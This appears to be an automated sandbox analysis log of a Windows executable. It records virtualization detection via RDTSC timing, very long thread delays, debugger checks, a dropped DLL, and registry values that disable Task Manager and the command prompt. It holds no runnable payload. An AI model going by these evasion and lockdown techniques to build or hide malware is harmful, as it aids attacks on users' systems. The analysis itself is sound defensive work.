Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	API/Special instruction interceptor: Address: 4025D5D
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	API/Special instruction interceptor: Address: 25C5D5D

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	RDTSC instruction interceptor: First address: 3FE8141 second address: 3FE8141 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FDDF9108161h 0x00000006 cmp bh, dh 0x00000008 push edx 0x00000009 mov edx, 00000016h 0x0000000e cmp edx, 1DF9774Eh 0x00000014 jg 00007FDDF9146722h 0x0000001a pop edx 0x0000001b inc ebp 0x0000001c cmp al, bl 0x0000001e inc ebx 0x0000001f cmp bl, dl 0x00000021 rdtsc
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	RDTSC instruction interceptor: First address: 2588141 second address: 2588141 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FDDF8B85E11h 0x00000006 cmp bh, dh 0x00000008 push edx 0x00000009 mov edx, 00000016h 0x0000000e cmp edx, 1DF9774Eh 0x00000014 jg 00007FDDF8BC43D2h 0x0000001a pop edx 0x0000001b inc ebp 0x0000001c cmp al, bl 0x0000001e inc ebx 0x0000001f cmp bl, dl 0x00000021 rdtsc

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Memory allocated: D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Memory allocated: 34820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Memory allocated: 34530000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598976	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598717	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598165	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597499	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597171	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596952	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596513	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595840	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595152	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595045	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594811	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594468	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594359	Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Window / User API: threadDelayed 7040			Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Window / User API: threadDelayed 2768			Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsrBE9D.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

API coverage: 3.3 %

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4984	Thread sleep count: 7040 > 30	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4984	Thread sleep count: 2768 > 30	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598976s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598717s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598165s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -598046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -597062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596513s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595840s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595152s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -595045s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -594921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -594811s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -594468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe TID: 4844	Thread sleep time: -594359s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_0040672B FindFirstFileW,FindClose,	1_2_0040672B
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405AFA
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 1_2_00402868 FindFirstFileW,	1_2_00402868
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_00402868 FindFirstFileW,	5_2_00402868
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_0040672B FindFirstFileW,FindClose,	5_2_0040672B
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Code function: 5_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405AFA

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598976	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598828	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598717	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598609	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598500	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598390	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598165	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597499	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597171	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596952	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596513	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595840	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595499	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595152	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 595045	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594811	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594468	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Thread delayed: delay time: 594359	Jump to behavior

Source: v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000004059000.00000004.00000020.00020000.00000000.sdmp, v4nrZtP7K2.exe, 00000005.00000002.2920114174.0000000003FF8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	API call chain: ExitProcess graph end node			graph_1-4589
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	API call chain: ExitProcess graph end node			graph_1-4746

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: 1_2_00402DF3 SetTimer,wsprintfW,SetWindowTextW,LdrInitializeThunk,SetDlgItemTextW,

1_2_00402DF3

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: 1_2_6FFB1B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_6FFB1B5F

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Process created: C:\Users\user\Desktop\v4nrZtP7K2.exe "C:\Users\user\Desktop\v4nrZtP7K2.exe"

Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Queries volume information: C:\Users\user\Desktop\v4nrZtP7K2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\v4nrZtP7K2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Code function: 1_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

1_2_004034A5

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\v4nrZtP7K2.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior
